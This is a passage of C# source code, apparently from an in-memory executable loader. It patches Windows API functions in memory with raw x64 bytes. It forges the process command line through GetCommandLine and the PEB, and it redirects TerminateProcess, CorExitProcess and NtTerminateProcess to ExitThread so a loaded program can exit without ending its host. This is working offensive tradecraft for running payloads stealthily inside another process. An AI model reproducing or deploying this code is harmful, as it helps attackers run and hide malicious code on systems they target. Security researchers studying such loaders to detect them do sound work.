// Print the string bytes and what the encoding was determined to be
var stringBytesHexString = "";
foreach (var x in stringBytes)
{
stringBytesHexString += x.ToString("X") + " ";
}
}
// Set the GetCommandLine func based on the determined encoding
_commandLineFunc = _encoding.Equals(Encoding.ASCII) ? "GetCommandLineA" : "GetCommandLineW";
// Write the new command line string into memory
_pNewString = _encoding.Equals(Encoding.ASCII)
? Marshal.StringToHGlobalAnsi(newCommandLineString)
: Marshal.StringToHGlobalUni(newCommandLineString);
// Create the patch bytes that provide the new string pointer
var patchBytes = new List<byte>() { 0x48, 0xB8 }; // TODO architecture
var pointerBytes = BitConverter.GetBytes(_pNewString.ToInt64());
patchBytes.AddRange(pointerBytes);
patchBytes.Add(0xC3);
// Patch the GetCommandLine function to return the new string
_originalCommandLineFuncBytes = Utils.PatchFunction("kernelbase", _commandLineFunc, patchBytes.ToArray());
if (_originalCommandLineFuncBytes == null)
{
return false;
}
return true;
}
private static void GetPebCommandLineAndImagePointers(IntPtr pPEB, out IntPtr ppCommandLineString,
out IntPtr pCommandLineString, out IntPtr ppImageString, out IntPtr pImageString,
out IntPtr pCommandLineLength, out short commandLineLength, out IntPtr pCommandLineMaxLength,
out short commandLineMaxLength)
{
var ppRtlUserProcessParams = (IntPtr)(pPEB.ToInt64() + PEB_RTL_USER_PROCESS_PARAMETERS_OFFSET);
var pRtlUserProcessParams = Marshal.ReadInt64(ppRtlUserProcessParams);
ppCommandLineString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET +
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET;
pCommandLineString = (IntPtr)Marshal.ReadInt64(ppCommandLineString);
ppImageString = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_IMAGE_OFFSET +
UNICODE_STRING_STRUCT_STRING_POINTER_OFFSET;
pImageString = (IntPtr)Marshal.ReadInt64(ppImageString);
pCommandLineLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET;
commandLineLength = Marshal.ReadInt16(pCommandLineLength);
pCommandLineMaxLength = (IntPtr)pRtlUserProcessParams + RTL_USER_PROCESS_PARAMETERS_COMMANDLINE_OFFSET +
RTL_USER_PROCESS_PARAMETERS_MAX_LENGTH_OFFSET;
commandLineMaxLength = Marshal.ReadInt16(pCommandLineMaxLength);
}
internal void ResetArgs()
{
if (Utils.PatchFunction("kernelbase", _commandLineFunc, _originalCommandLineFuncBytes) == null)
{
}
if (!Utils.PatchAddress(_ppCommandLineString, _pOriginalCommandLineString))
{
}
if (!Utils.PatchAddress(_ppImageString, _pOriginalImageString))
{
}
Marshal.WriteInt16(_pLength, 0, _originalLength);
Marshal.WriteInt16(_pMaxLength, 0, _originalMaxLength);
}
}
internal class ExitPatcher
{
private byte[] _terminateProcessOriginalBytes;
private byte[] _ntTerminateProcessOriginalBytes;
private byte[] _rtlExitUserProcessOriginalBytes;
private byte[] _corExitProcessOriginalBytes;
public bool PatchExit()
{
var hKernelbase = NativeDeclarations.GetModuleHandle("kernelbase");
var pExitThreadFunc = NativeDeclarations.GetProcAddress(hKernelbase, "ExitThread");
var exitThreadPatchBytes = new List<byte>() { 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8 };
/*
mov rcx, 0x0 #takes first arg
mov rax, <ExitThread> #
push rax
ret
*/
var pointerBytes = BitConverter.GetBytes(pExitThreadFunc.ToInt64());
exitThreadPatchBytes.AddRange(pointerBytes);
exitThreadPatchBytes.Add(0x50);
exitThreadPatchBytes.Add(0xC3);
#if DEBUG
Console.WriteLine("[*] Patching kernelbase!TerminateProcess, redirecting flow to kernelbase!ExitThread");
#endif
_terminateProcessOriginalBytes =
Utils.PatchFunction("kernelbase", "TerminateProcess", exitThreadPatchBytes.ToArray());
if (_terminateProcessOriginalBytes == null)
{
return false;
}
#if DEBUG
Console.WriteLine("[*] Patching mscoree!CorExitProcess, redirecting flow to kernelbase!ExitThread");
#endif
_corExitProcessOriginalBytes =
Utils.PatchFunction("mscoree", "CorExitProcess", exitThreadPatchBytes.ToArray());
if (_corExitProcessOriginalBytes == null)
{
return false;
}
#if DEBUG
Console.WriteLine("[*] Patching ntdll!NtTerminateProcess, redirecting flow to kernelbase!ExitThread");
#endif
_ntTerminateProcessOriginalBytes =
Utils.PatchFunction("ntdll", "NtTerminateProcess", exitThreadPatchBytes.ToArray());
if (_ntTerminateProcessOriginalBytes == null)
{